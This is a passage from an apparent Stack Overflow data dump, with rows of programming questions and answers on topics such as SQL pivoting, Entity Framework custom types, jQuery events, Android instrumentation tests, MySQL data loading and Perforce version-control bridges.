on not getting an ACK for an upstream message?</p> <p>Some research we did: 1. <a href="https://productforums.google.com/forum/#!msg/nexus/fslYqYrULto/lU2D3Qe1mugJ" rel="nofollow">https://productforums.google.com/forum/#!msg/nexus/fslYqYrULto/lU2D3Qe1mugJ</a></p> <ol start="2"> <li><a href="http://stackoverflow.com/questions/18250188/do-gcm-ccs-upstream-messages-force-a-re-connection-to-the-gcm-network">Do GCM CCS Upstream Messages force a re-connection to the GCM network?</a></li> </ol>
8908739	0	 <p>You can set these headers:</p> <pre><code>Precedence: bulk Auto-Submitted: auto-generated </code></pre> <p>Source: <a href="http://www.redmine.org/projects/redmine/repository/revisions/2655/diff">http://www.redmine.org/projects/redmine/repository/revisions/2655/diff</a></p>
20821568	0	 <p>if you have an Apple, there is a very easy way to access all of the characters available to the "Character Viewer". In Sys Prefs -> keyboard -> input sources, select show input menu in menu bar. Bring up the character viewer and then make favorites of the N characters you need to access. Then, hit the small box to the right of char viewers search bar. The char viewer disappears, and what's left is a small window with your chosen char set. Position your cursor in your editor, click on the desired char in the favs.</p>
22664237	0	 <p>Another, more general way which can be used in runtime is explained <a href="http://stackoverflow.com/a/10505593/225767">here</a>.</p>
37673106	0	How to load more than 20 image from instagram? <p>i'm trying to submit my app to get more than 20 image from my instagram account but when trying to edit the app permission and choose the option</p> <pre><code>"I want to display my Instagram posts on my website." </code></pre> <p>but i get this message </p> <pre><code>You do not need to submit for review for this use case. If you are a developer and you want to display Instagram content on your website, then you do not need to submit your app for review. By using a client in sandbox mode, you can still access the last 20 media of any sandbox user that grants you permission. You can find more information in the Permission Review documentation. </code></pre> <p>and in the documentation there is nothing on how to get more than 20 images or how to go live in this case please any help and many thanks in advance</p>
6124224	0	 <p>Try using</p> <pre><code>Stopwatch stpWatch1 = new Stopwatch(); stpWatch1.Start(); ............. stpWatch1.Stop(); TimeSpan ts = stpWatch1.Elapsed;// it also contains stpWatch1.ElapsedMilliseconds </code></pre>
31096245	0	 <p>If you are just scaffolding, you are answer should be more simple:</p> <pre><code>&lt;%= form_for @article do |f| %&gt; </code></pre> <p>Your form should work now... </p>
16052388	0	 <p>adding to Bhavik Shah . to take one by one row use cursors</p>
38988442	0	 <p>I made SVG <a href="https://gist.github.com/mxl/4281c3a188489d43a35704ed209b18e5#file-log_out-svg" rel="nofollow noreferrer">log out icon</a> from <a href="https://design.google.com/icons/#ic_exit_to_app" rel="nofollow noreferrer">exit-to-app icon</a>.</p> <p>Preview:</p> <p><a href="https://i.stack.imgur.com/1zAjJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/1zAjJ.png" alt="Preview"></a></p> <p>Also there are several variants on <a href="http://materialdesignicons.com" rel="nofollow noreferrer">materialdesignicons.com</a>:</p> <ul> <li><p><a href="https://materialdesignicons.com/icon/logout-variant" rel="nofollow noreferrer">https://materialdesignicons.com/icon/logout-variant</a></p></li> <li><p><a href="https://materialdesignicons.com/icon/logout" rel="nofollow noreferrer">https://materialdesignicons.com/icon/logout</a></p></li> </ul>
15511073	0	 <p>You would do something like this:</p> <pre><code>radio_button = form.Form( form.Radio('details', ['option1', 'option2', 'option3', 'option4']), ) </code></pre> <p>Also, you can just have webpy render an html page and put the radio button html tag into that page. I would suggest that you don't try to learn how to use webpy's templating system if you are new to programming. It is too abstract for a beginner. Instead use webpy to serve your pages and write your pages in a regular manner. Then when you feel comfortable you should consider a nice standalone template engine like Jinja2.</p> <p>This has also been answered here:</p> <p><a href="http://stackoverflow.com/questions/12816464/how-to-use-radio-buttons-in-python-web-py">How to use radio buttons in python web.py</a></p>
25297639	0	 <p>You can easily fix it by changing the third line to:</p> <pre><code>xhr.open("get", requestURL, true); </code></pre>
39232909	0	How to use sql user defined types in entity framework 6 <p>How can I use a User Defined Type - written by SQL CLR - in Entity Framework? This type is designed to implement Persian Date Data Types in the right way. I tried to use HasColumnType() to use this custom type:</p> <pre><code>modelBuilder.Properties() .Where(x =&gt; x.PropertyType == typeof(DateTime)) .Configure(c =&gt; c.HasColumnType("PersianDate")); </code></pre> <p>but it wasn't successful and I got this error:</p> <blockquote> <p>System.InvalidOperationException: Sequence contains no matching element at System.Linq.Enumerable.Single[TSource](IEnumerable<code>1 source, Func</code>2 predicate) at System.Data.Entity.Utilities.DbProviderManifestExtensions.GetStoreTypeFromName(DbProviderManifest providerManifest, String name) at System.Data.Entity.ModelConfiguration.Configuration.Properties.Primitive.PrimitivePropertyConfiguration.ConfigureColumn(EdmProperty column, EntityType table, DbProviderManifest providerManifest) at System.Data.Entity.ModelConfiguration.Configuration.Properties.Primitive.PrimitivePropertyConfiguration.Configure(EdmProperty column, EntityType table, DbProviderManifest providerManifest, Boolean allowOverride, Boolean fillFromExistingConfiguration) at ...</p> </blockquote> <p>I'm sure that this error is result of using HasColumnType(). Also I'm sure that this types works correctly in my database.</p>
4480989	0	 <p>Yes, of course you can.</p> <p>You'll need to get the MySQL JDBC driver from <a href="http://dev.mysql.com/downloads/connector/j/" rel="nofollow">this</a> location.</p> <p>Grails? When you're new to programming? Whose idea was this? </p> <p>Personally, I think that taking on all these unknowns is risky for someone who's "new to programming." Do you know anything about SQL or JDBC? Have you ever written a web project before? This could be difficult.</p> <p>I don't know how to be more specific. Download the JDBC JAR from the link I gave you.</p> <p>I'd recommend that you start with a <a href="http://download.oracle.com/javase/tutorial/jdbc/index.html" rel="nofollow">JDBC</a> tutorial first. Hibernate is not for you - yet.</p> <p>Hibernate is an object-relational mapping tool (ORM). It's a technology that lets you associate information in relational database tables to objects in your middle tier. So if you have a PERSON table with columns id, first, and last Hibernate will let you associate those data with the private data members in your Person Java class.</p> <p>That sounds easy, but it gets complicated quickly. Your relational and object models might have one-to-many and many-to-many relationships; Hibernate can help with those. Lazy loading, caching, etc. can be managed by Hibernate. </p> <p>But it comes at a cost. And it can be difficult if you aren't familiar with it.</p> <p>If you have a deadline, I'd recommend creating a Java POJO interface for your persistence classes and doing the first implementation using JDBC. If you want to swap it out for Hibernate later on you can do it without affecting clients, but you'll have a chance of making progress without Hibernate that way.</p>
7662238	0	SQL query for retrieving different data series contained in the same table <p>I'm trying to retrieve data series contained in a table that basically looks like this:</p> <pre><code>row | timestamp | seriesId | int32 | int64 | double --------------------------------------------------- 0 | 0 | 0 | 2 | | 1 | 1 | 0 | 4 | | 2 | 1 | 1 | 435 | | 3 | 1 | 2 | | 2345 | 4 | 1 | 3 | | | 0.5 5 | 2 | 0 | 5 | | 6 | 2 | 1 | 453 | | 7 | 2 | 2 | | 2401 | .... </code></pre> <p>I would like to get a result set that looks like this (so that I can easily plot it):</p> <pre><code>row | timestamp | series0 | series1 | series 2 | ... ---------------------------------------------------- 0 | 0 | 2 | | | 1 | 1 | 4 | 435 | 2345 | 2 | 2 | 5 | 453 | 2401 | ... </code></pre> <p>My SQL skillz are unfortunately not really what they should be, so my first attempt at achieving this feels a bit awkward:</p> <pre><code>SELECT tbl0.timestamp, tbl0.int32 as series0, tbl1.int32 as series1 FROM (SELECT * FROM StreamData WHERE seriesId=0) as tbl0 INNER JOIN (SELECT * FROM StreamData WHERE seriesId=1) as tbl1 ON tbl0.timestamp = tbl1.timestamp ORDER BY tbl0.timestamp; </code></pre> <p>This doesn't really seem to be the right way of trying to accomplish this, especially not when the number of different series goes up. I can change the way data gets stored in the table (it's in an SQLite database if that matters) if that would make things easier, but as the number of different series may be different from time to time, I would prefer having them all in the same table.</p> <p><strong>Is there a better way to write the above query?</strong></p>
2332482	0	 <p>Whether an app can be added as a tab is a setting of the application, so not all can be added (app developer can choose separately for User profiles and fan pages, as well). Once you've chosen 'Add to page' for an application, those that can be added as tabs will appear when you click the + sign on your page.</p>
16932326	0	 <p>A couple of random suggestions to experiment:</p> <ul> <li><p>early return should be used with caution when there is a barrier later: <strong>all</strong> work items in a work group should execute the barrier, and your kernel will hang if some work items already returned.</p></li> <li><p>texture cache in this context is usually at least as fast as local memory. Try replacing s0,...,s8 initialization with simple read_imagef calls. Then experiment with different work group dimensions.</p></li> </ul> <p>On what hardware are you running?</p>
14641941	0	 <p>I have previously used these helper functions in a slightly different state to handle most of what we need with listviews:</p> <pre><code>public View getViewAtIndex(final ListView listElement, final int indexInList, Instrumentation instrumentation) { ListView parent = listElement; if (parent != null) { if (indexInList &lt;= parent.getAdapter().getCount()) { scrollListTo(parent, indexInList, instrumentation); int indexToUse = indexInList - parent.getFirstVisiblePosition(); return parent.getChildAt(indexToUse); } } return null; } public &lt;T extends AbsListView&gt; void scrollListTo(final T listView, final int index, Instrumentation instrumentation) { instrumentation.runOnMainSync(new Runnable() { @Override public void run() { listView.setSelection(index); } }); instrumentation.waitForIdleSync(); } </code></pre> <p>With these your method would be:</p> <pre><code>ListView list = solo.getCurrentListViews().get(0); for(int i=0; i &lt; list.getAdapter().getCount(); i++){ solo.clickOnView(getViewAtIndex(list, i, getInstrumentation())) } </code></pre>
5504619	0	ajaxComplete not working on $(window) <p>I'm using jQuery version 1.5.1 and this isn't working for me: </p> <pre><code> $(window).ajaxComplete(function() { console.log('hello'); }); </code></pre> <p>but this is: </p> <pre><code> $(document).ajaxComplete(function() { console.log('hello'); }); </code></pre> <p>Why can't I attach the event handler to <code>$(window)</code>? </p> <p><em><strong>Note: this code is working with jQuery v1.3.2 but not with v1.5.1</em></strong></p>
38680776	0	Remove Repeated Words from Text file <p>I have a text file, contaning nearly 45,000 words, one word in each line. Thousands of these words appear more than 10 times. I want to create a new file in which there is no repeated word. I used Stream reader but it reads the file only once. How can I get rid of the repeated words. Please help me. Thanks My code was like this </p> <pre><code>Try File.OpenText(TextBox1.Text) Catch ex As Exception MsgBox(ex.Message) Exit Sub End Try Dim line As String = String.Empty Dim OldLine As String = String.Empty Dim sr = File.OpenText(TextBox1.Text) line = sr.ReadLine OldLine = line Do While sr.Peek &lt;&gt; -1 Application.DoEvents() line = sr.ReadLine If OldLine &lt;&gt; line Then My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Desktop &amp; "\Splitted File without Repeats.txt", line &amp; vbCrLf, True) End If OldLine = line Loop sr.Close() System.Diagnostics.Process.Start(My.Computer.FileSystem.SpecialDirectories.Desktop &amp; "\Splitted File without Repeats.txt") MsgBox("Loop terminated. Stream Reader Closed." &amp; vbCrLf) </code></pre>
27958615	0	Regular expression to match a string starting with some characters and following with some symblos <p>I would like to match a string which starts with character sequence <code>49</code>. The string i get to evaluate will be like <code>49/1.0 or 49/2.0</code> etc. If I use <code>^49</code> it is not matching with the string i receive (ie: <code>49/1.0</code>). My expression matches with the string if I receive <code>49XX</code> only. I do not sure what are the symbols will follow the <code>49</code> character. </p> <p>How can i define regular expression for this?</p>
4452255	0	 <p>The Problem has to do with the Perl source itself. Here's a piece of code from the function Perl_do_openn in file doio.c:</p> <pre><code>fd = PerlIO_fileno(IoIFP(io)); if (IoTYPE(io) == IoTYPE_STD) { /* This is a clone of one of STD* handles */ result = 0; } else if (fd &gt;= 0 &amp;&amp; fd &lt;= PL_maxsysfd) { /* This is one of the original STD* handles */ saveifp = IoIFP(io); saveofp = IoOFP(io); savetype = IoTYPE(io); savefd = fd; result = 0; } </code></pre> <p>if you open an existing filehandle, the filehandle will be closed and reopened by open(), This doesn't happen with STD* handles, as you can see from the code above. So perl takes the next free handle for opening and the older one remains open.</p>
40977687	0	Tools to capture infromation from multiple snmp agents <p>I am searching a tool to capture information from multiple snmp agents .I went through net-snmp apis for the same but I need a scalable solution .Please lemme know if any tool already exists, If not,Is it good practice to write your own snmp manager from scratch ?</p>
17910079	0	How to store Unique data and increment the Ratio using a JavaScript Array <p>I want to store a <code>random</code> generated data that looks like <code>1-2-3-4-5-6</code> using a <code>javascript array</code>.</p> <p>Each data may contain only the <code>-</code> character and 6 unique numbers from <code>1</code> to <code>49</code>.</p> <p>I declared the array as: <code>var a = new Array();</code></p> <p>Each time a new data is being generated, I store it like: <code>a[data] = 1;</code> where <code>data</code> might be <code>2-36-33-21-9-41</code> and <code>1</code> represents the ratio;</p> <p>If the data generated already exists, I must increment the ratio, like: <code>a[data]++;</code></p> <p>Why is the <code>length</code> property not available?</p> <p>I need to refresh the <code>length</code> value on the page each time a new unique data has been generated, maybe at each 1 millisecond.</p> <p>I can't parse a 1 million array that fast ... each time ...</p> <p>this is how i insert or update:</p> <pre><code>if (variante_unice[s]) { variante_unice[s]++; } else { variante_unice[s] = 1; variante_unice_total++; } </code></pre> <p>the code:</p> <pre><code> window.setInterval( function() { variante++; $("#variante").text(variante); for (j = 1; j &lt;= 49; j++) { $("#v" + j).attr("class", ""); } for (j = 1; j &lt;= 49; j++) { extracted[j] = 0; } ind = 0; s = ''; while (ind &lt; 6) { r = Math.floor((Math.random() * 49) + 1); if (extracted[r] == 0) { //this is where i generate the data if (s === '') { s = r; } else { s += '-' + r; } //console.log(r); extracted[r] = 1; frecvency[r]++; $("#n" + r).attr("class", "green"); $("#v" + r).attr("class", "green"); ind++; //console.log('i'+frecventa[r]); frecventa[r]++; //console.log('d'+frecventa[r]); $("#f" + r).text(frecventa[r]); } } //is the generated data new? if not, increment ratio if (variante_unice[s]) { variante_unice[s]++; } else { variante_unice[s] = 1; variante_unice_total++; } //console.log(variante_unice); //console.log(variante_unice[s]); //console.log(variante_unice.length); //console.log(s); verifica_varianta(); //console.log(extracted); //console.log(frecvency); } , 1); </code></pre>
17580523	0	 <p>From <a href="http://jesseeichar.github.io/scala-io-doc/0.4.2/index.html#!/core/copy_to" rel="nofollow">scala-io documentation</a>: </p> <pre><code>import scalax.io._ import Resource._ fromFile("a.txt") copyDataTo fromFile("newDir/a.txt") </code></pre>
34511225	0	 <p>Finally I got the very reason of this behavior.<br> The reason is the overlapping elements.<br> For those who may stumble on this problem, try my approach on finding the overlapping elements.<br> Add this to your css file: </p> <pre><code>body * { border: 1px solid; background: #000000; } </code></pre> <p>Adding that css styles will enable you to see the elements that causes RL to LR swipe because of extra width. </p> <p>Happy coding!</p>
4360204	0	jboss application server newbie question <p>I am starting to learn JBoss.<br> Went to the download page <a href="http://www.jboss.org/jbossas/downloads.html" rel="nofollow">http://www.jboss.org/jbossas/downloads.html</a> but I can not understand what is the official version i.e. GA.<br> There is <strong>7.0.0.Alpha1 6.0.0.CR1 6.0.0.M5 6.0.0.M4</strong> etc<br> I am not sure what each version is about (What does M* or CR1 mean?)<br> Can someone help me please?<br> Which version should I download?</p> <p>Thanks</p>
19684372	0	 <p>As far as the compiler is concerned, it doesn't need to know the actual name of the parameter when the function is being declared. All it needs is the signature of the function: the return type, name, and the parameter types. </p> <p>You only need the parameter name when you <em>define</em> the function, i.e. in a source file.</p> <pre><code>// foo.h void foo(const char*); // foo.c #include "foo.h" void foo(const char * c) { //OK } void bar(const char*) { //Indeed, we have no way to access the parameter } </code></pre> <p>As long as these signatures match, everything will work fine. If this is your header file though, it's usually better to include the parameter name in the declaration as it is useful documentation.</p>
24845221	0	How do I define individual pages in Express.js <p>I'm just getting started with <strong>express.js</strong> and am failing to understand how one defines discrete "pages" (in the traditional sense) that one can link to internally.</p> <p>I'm using Jade as a template engine and I see how it pulls the various components together and references them in the app.js (which is what is initially invoked by npm) so that, in effect is my "index". Would be great to see a tutorial on what one does to then build out pageA, pageB, pageC so that they can be linked to via <code>&lt;a href="pageA.html"&gt;</code> (or the Jade equivalent).</p> <p>I'm assuming this is possible, right?</p>
30410410	0	Youtube API V3 Java Any possible without invoking browser to upload video <p>Hi I hope someone can help me out here.</p> <p>I have a Java Application on my local machine,I am trying to upload video to YouTube. </p> <p>Upload a video to the authenticated user's channel. Use OAuth 2.0 to authorize the request.</p> <p>It was working good. </p> <p>The source code getting from Youtube API V3. The class name is com.google.api.services.samples.youtube.cmdline.data.UploadVideo</p> <p>While I run the application everyday asking very first time invoking default browser once i click approve after that video upload to youtube. Second time not invoking default browser. It was working good.</p> <p>But I want without invoking browser, Need to upload video to youtube.</p> <p>Any Idea ? Please share me.</p>
22087268	0	 <blockquote> <p>With Visual C++, <code>new</code> calls the <code>malloc</code> function.</p> </blockquote> <p>This is partially true: the <code>new</code> expressions in your code do call <code>operator new</code> to allocate memory and <code>operator new</code> does indeed call <code>malloc</code>. But the pointer to the initial element that is yielded by the <code>new</code> expression is not necessarily the pointer obtained from <code>malloc</code>.</p> <p>If you dynamically allocate an array of objects that require destruction (like your <code>CTheClassWith_string</code> type), the compiler needs to keep track of how many elements are in the array so that it can destroy them all when you <code>delete</code> the array.</p> <p>To keep track of this, the compiler requests a slightly larger block from <code>malloc</code> then stores some bookkeeping information at the beginning of the block. The <code>new</code> expression then yields a pointer to the initial element of the array, which is offset from the beginning of the block allocated by <code>malloc</code> by the bookkeeping information.</p>
15106483	0	 <p>Try adding a unit to your size</p> <pre><code>MaxFileSize=5242880KB </code></pre>
40130437	0	Cannot see docker repositories in kwk frontend <p>I have setup my private registry and also pushed some images in it. It is also secured with certificates and I used <a href="https://github.com/kwk/docker-registry-frontend" rel="nofollow">kwk docker registry frontend</a> to setup a nice UI for my docker registry but I am facing an issue in kwk frontend that sometimes when I click on "Browse Repositories" on the main page it goes to "localhost/repositories/20"; (searches for 20; which shows nothing obviously). What could be the possible issue. I can't see any image in this frontend.</p> <p><a href="https://i.stack.imgur.com/cp1IQ.png" rel="nofollow"><img src="https://i.stack.imgur.com/cp1IQ.png" alt="See the image"></a></p>
29123729	0	 <p>You are supposed to initialize the array to a non null value in order do use it :</p> <pre><code>String systems[][] = new String[n][5]; </code></pre> <p>where <code>n</code> is the max capacity of the array.</p> <p>If you don't know in advance how many rows your array should contain, you can use an <code>ArrayList&lt;String[]&gt;</code> instead, since the capacity of an <code>ArrayList</code> can grow.</p> <p>For example:</p> <pre><code> Statement st = con.createStatement(); List&lt;String[]&gt; systems = new ArrayList&lt;String[]&gt;(); String item = "SELECT ram, cpu, mainboard, cases, gfx FROM computer_system"; ResultSet rs = st.executeQuery(item); while (rs.next()){ String[] row = new String[5]; row[0] = rs.getString("ram"); row[1] = rs.getString("cpu"); row[2] = rs.getString("mainboard"); row[3] = rs.getString("cases"); row[4] = rs.getString("gfx"); systems.add(row); } </code></pre>
33548768	0	Jackson coercing to zero <p>Using JAX-RS (GlassFish 4) and Jackson as serializer, I encountered a problem during deserialization of POJO properties of type <code>Double</code> (same with <code>Integer</code>).</p> <p>Lets say I have simple POJO (excluding bunch of other fieds, getters and setters):</p> <pre><code>public class MapConstraints { private Double zoomLatitude; private Double zoomLongitude; } </code></pre> <p>When a user send request to API in format <code>{ "zoomLatitude": "14.45", "zoomLongitude": ""}</code>, value of <code>zoomLatitude</code> is set to <code>14.45</code>, but value of <code>zoomLongitude</code> is set to <code>0</code>. </p> <p>I expect value of <code>zoomLongitude</code> to be <code>null</code> if no value is presented. I tried configure <code>ObjectMapper</code> with <code>JsonInclude.Include.NON_EMPTY</code> but without success.</p> <p>Same results with genson.</p>
9951480	0	TouchUtils and ActivityInstrumentationTestCase2 user event Unit test case not working <p>Currently I am struggling a little with the Unit test framework...</p> <p><strong>what I am trying to do</strong></p> <ul> <li>I need to simulate 2 clicks on the screen (100,100) and (400,400) at a small duration difference.</li> <li>I need to simulate a longPressClick on the screen Let's say ( 200, 200 )</li> <li>Upon User click the native code runs and performs pixel manipulation on Bitmap.</li> <li>This test is going to run for multiple pair-sets of points, for analysing the runtime performance of the system</li> </ul> <p><strong>Here's where I am stuck</strong></p> <ul> <li>I am using activityInstrumentationTestCase2 and touchUtils for the user click events.</li> <li>TouchUtils.longClickView(InstrumentationTestCase test, View v) works fine ; I'm able to detect the long pressing event propely , But test-case finishes even before the calculation / rendering is complete in my UI thread ; how do I stop the test from exiting in this case ?</li> <li>How do i simulate 2 / 3 user clicks @ particular location on screen ? cause TouchUtils.clickView(InstrumentationTestCase test, View v) would only simulate the user click in the center of the screen ... How to do it properly ?</li> </ul> <p><strong>These are the things I have tried and seems I'm missing out something:</strong></p> <ul> <li>TouchUtils.longClickView(InstrumentationTestCase test, View v) works fine...for creating longClickView .. Even I was able to create longClickView() at particular screen location by introducing the timedelay between ACTION_DOWN and ACTION_UP event.. please refer to the code attached </li> <li>I was able to achieve the user clicking event at particular screen location , But I faced a strange issue .. When I am displatching the MotionEvent(100,100) from the test-case.. The framework would always add "-76" in the Y event .. not sure why there was this deviation ... I worked around the issue by adding 76 to my input data (100,176) for time being .. did anyone face a similar issue ? </li> <li>Even seems with this approach timing is very critical .. as If i place more delay between ACTION_DOWN and ACTION_UP , the event is detected as longClickPress ... and if I put a little less ... the "second" single click events ( ACTION_DOWN + ACTION_UP ) gets detected as DoubleTapEvent .. </li> </ul> <p>What should be the right timing combination for ACTION_UP and ACTION_DOWN .. for a single user click event simulation .. ????????</p> <pre><code> @Test public void testClick(){ List&lt;Points&gt; pointSequence = new ArrayList&lt;Points&gt;(); Log.d(TAG, "FirClick Start Timing : " + SystemClock.uptimeMillis()); pointSequence.add(new Points(100f,176f)); pointSequence.add(new Points(100f,176f)); singleClickSimulation(pointSequence,false); } private void singleClickSimulation(List&lt;Points&gt; pointSequence, Boolean addDelay) { long downTime = SystemClock.uptimeMillis(); long eventTime = SystemClock.uptimeMillis(); // NOTE : If I do not place this then the event is detected as doubleTap. eventTime += 100; Instrumentation inst = getInstrumentation(); MotionEvent event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_DOWN, pointSequence.get(0).getX(), pointSequence.get(0).getY(), 0); inst.sendPointerSync(event); //eventTime = SystemClock.uptimeMillis(); pointSequence.remove(0); //This delay I have added just to test; whether there is enough time for pixel manipulation or not, actually it would be used only at the end of the run of all the test cases for single user click if(addDelay){ eventTime = SystemClock.uptimeMillis() + 3000; } eventTime += 25; event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_UP, pointSequence.get(0).getX(), pointSequence.get(0).getY(), 0); inst.sendPointerSync(event); pointSequence.remove(0); } </code></pre>
28482087	0	Use Regex to Match relative image URLs and then use string replace to make them absolute using Javascript <p>I want to use javascript regex to find all relative URLs and then make them absolute using the string replace function in javascript. I tried to following but it didn't work:(Note: i have tried searching this site but couldn't find the perfect solution)</p> <pre><code>data = data.replace(/\/\.(jpg|png|gif|bmp)$\/i/gi, "http://example.com" + "$1"); </code></pre> <p>What I am trying to achieve is replace the relative image URLs with their absolute forms in an external data pulled using YQL and JSON. I also found another script that would do the job, but it would only apply to the on page HTML element, and NOT to the content inside the div containing the externally loaded content. </p> <p>Any method other than the data.replace doesn't seem to work in my case, i tried another script that worked perfectly but only on the on page html, not externally loaded HTML.</p> <p>This is my first post here. Any help would be appreciated. </p>
35691121	0	No ad in AdMob example (Android Studio) <p>I downloaded an ad example: <a href="https://developers.google.com/admob/android/start" rel="nofollow">https://developers.google.com/admob/android/start</a> but when I run it on a device it shows no ad (online mode of the project). In logs it tells that it is failed to load ad.</p> <p>Here are some lines from log:</p> <pre><code>02-29 05:18:26.923 33-33/? E/Zygote: setreuid() failed. errno: 2 02-29 05:18:27.802 33-33/? W/MediaProfiles: could not find media config xml file 02-29 05:19:10.883 78-84/? W/zipro: Unable to open zip '/data/local/bootanimation.zip': No such file or directory 02-29 05:19:10.905 78-84/? W/zipro: Unable to open zip '/system/media/bootanimation.zip': No such file or directory 02-29 05:19:25.492 67-79/system_process W/PackageManager: Package com.example.android.apis desires unavailable shared library com.example.will.never.exist; ignoring! 02-29 05:19:25.662 67-79/system_process W/PackageManager: Unknown permission com.google.android.googleapps.permission.GOOGLE_AUTH.mail in package com.android.contacts 02-29 05:20:51.480 336-336/com.google.samples.quickstart.admobexample W/Ads: Failed to load ad: 3 </code></pre>
3040041	0	 <p>It might be showing in the "Immediate Window" instead due to a setting:</p> <ul> <li>Go to Tools/Options/Debugging/General. Uncheck "Redirect all Output Window text to the Immediate Window"</li> </ul> <p>Or somethig like that.</p>
39299156	1	On LOAD DATA LOCAL INFILE integer required error <p>I have a data file containing data in following format</p> <pre><code>asd,12,asd,asd,12,adsd,,asdas,None </code></pre> <p>I have a table in mysql which is has an <code>auto increment</code> int <code>id</code> and the rest of the columns as in data file.</p> <p>Now i am trying</p> <pre><code>query2 = """LOAD DATA LOCAL INFILE 'tmp.txt' REPLACE INTO TABLE mytable FIELDS TERMINATED BY ',' LINES TERMINATED BY '\\n' (a1,a2,a3,a4,a5,a6,a7,a8,a9) """ conn = mysql.connector.connect(user=self.db_config.dbusername, password=self.db_config.dbpassword, host=self.db_config.dbhost, database='something', client_flags=[ClientFlag.LOCAL_FILES]) cursor = conn.cursor() cursor.execute(query2) conn.commit() cursor.close() conn.close() </code></pre> <p>the error i get is </p> <blockquote> <p>class 'mysql.connector.errors.InterfaceError'> Failed executing the operation; an integer is required</p> </blockquote> <p>because of presence of auto increment id i tried appending <code>SET ID=None</code> as suggested by some posts,but the result was same.tmp.txt is in the same location as the script.This response is being sent by mysql server.</p> <p>The <code>MYSQL Server is on amazon</code> is that makes a diff.</p> <p>Any idea what could be causing this or how we can debug it?</p> <p>Digged in deep.</p> <p>The error comes when </p> <pre><code>execute method in /usr/local/lib/python2.7/site-packages/mysql/connector/cursor.py is called with the query as parameter cmd_query in /usr/local/lib/python2.7/site-packages/mysql/connector/protocol.py is called _handle_resultset in /usr/local/lib/python2.7/site-packages/mysql/connector/protocol.py is called read_lc_int in /usr/local/lib/python2.7/site-packages/mysql/connector/utils.py is called which return (buf,None) </code></pre> <p>and so <code>_handle_resultset</code> function fails.So this definitely has something to do with the response coming from server when <code>LOAD DATA</code> query is sent.</p>
3259002	0	Need a Perforce DVCS recommendation: git-p4, hg Perfarce, or Something Else? <p>We're getting migrated from Subversion to Perforce at work. I've been using git-svn and it's kept me very productive. I want to keep using a DVCS for my own development.</p> <p>Which works best with Perforce in your experience, git-p4, Perfarce (hg) or something else I've never heard of?</p> <p>What works well (and what doesn't)?</p>
14556216	0	 <p>try this (-1D to get 27 of next month otherwise it would be same of today date):</p> <pre><code>$(function() { $( "#datepicker" ).datepicker({ minDate: 0, maxDate: "+1M -1D" }); }); </code></pre>
21986939	0	Hovering menu doesnt resizing <p>I have a menu and a submenu , that will show only on mouse hover. But I cant resize it . </p> <p>This is my javascript:</p> <pre><code>$('#menu li').hover(function() { $(this).find('ul').show(); }, function() { $(this).find('ul').hide(); }); </code></pre> <p>HTML part: </p> <pre><code> &lt;ul id='menu'&gt; &lt;li&gt; &lt;a href="#"class="current"&gt;Marketing&lt;/a&gt; &lt;ul style="display:none; border-bottom-color:#F00;"&gt; &lt;li style="margin:-350px 294px 0px"&gt; &lt;a href="#" &gt;ForSale&lt;/a&gt; &lt;/ul&gt; &lt;/li&gt; &lt;!-- &lt;li&gt;&lt;/li&gt;--&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;/header&gt; </code></pre> <p><a href="http://jsfiddle.net/manojmcet/wfXZ4/1/" rel="nofollow">Demo is here.</a></p> <p>Thanks.</p>
4087024	0	 <p>use the <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/Capabilities.html" rel="nofollow">Capabilities</a> class. You can get the OS, also there are many other details you can get.</p>
39118657	0	 <p>You can use Command Design Pattern</p> <p>for more info :</p> <p><a href="https://en.wikipedia.org/wiki/Command_pattern" rel="nofollow">https://en.wikipedia.org/wiki/Command_pattern</a> <a href="http://www.tutorialspoint.com/design_pattern/command_pattern.htm" rel="nofollow">http://www.tutorialspoint.com/design_pattern/command_pattern.htm</a></p>
23144691	0	Get the value of the textbox on c# <p>I'm working on a wpf app and i want to get the value of textbox i want to use KeyDown &amp; KeyPress to check if the text is a numeric value but when i write KeyPress the compilator underlined the proprity so i can't use it . </p> <pre><code>private void sb_KeyDown_1(object sender, System.Windows.Input.KeyEventArgs e) { nonNumberEntered = false; // Determine whether the keystroke is a number from the top of the keyboard. if (e.KeyCode &lt; Keys.D0 || e.KeyCode &gt; Keys.D9) { // Determine whether the keystroke is a number from the keypad. if (e.KeyCode &lt; Keys.NumPad0 || e.KeyCode &gt; Keys.NumPad9) { // Determine whether the keystroke is a backspace. if (e.KeyCode != Keys.Back) { // A non-numerical keystroke was pressed. // Set the flag to true and evaluate in KeyPress event. nonNumberEntered = true; } } } //If shift key was pressed, it's not a number. if (Control.ModifierKeys == Keys.Shift) { nonNumberEntered = true; } } </code></pre> <p>and it underlined also e.KeyCode and e.KeyNumPad0 .... what should i do ?</p>
4439509	0	 <p>I hit the same link error using boost version 1.44 and the pre-built installer. I unzipped "libboost_data_time_vc100-mt-gd-144.zip" which contains only the missing .lib and this seems to have solved the problem.</p>
36260142	0	 <p><b>Q1.What should be the resolution of the image for supporting all screen sizes for iPhone and iPad in landscape or portrait?<br> Regarding to @heximal <br></b> You can set "Scale to fill" mode for your image view and provide any image size (size of you xib, for example). <br> <b>Q2.Should I be again providing images of different resolutions for different screen sizes and orientations for iPhone and iPad like LaunchImage asset?</b><br> Create new image set in assets and provide just 3 images for your launch screen -@1x @2x @3x</p>
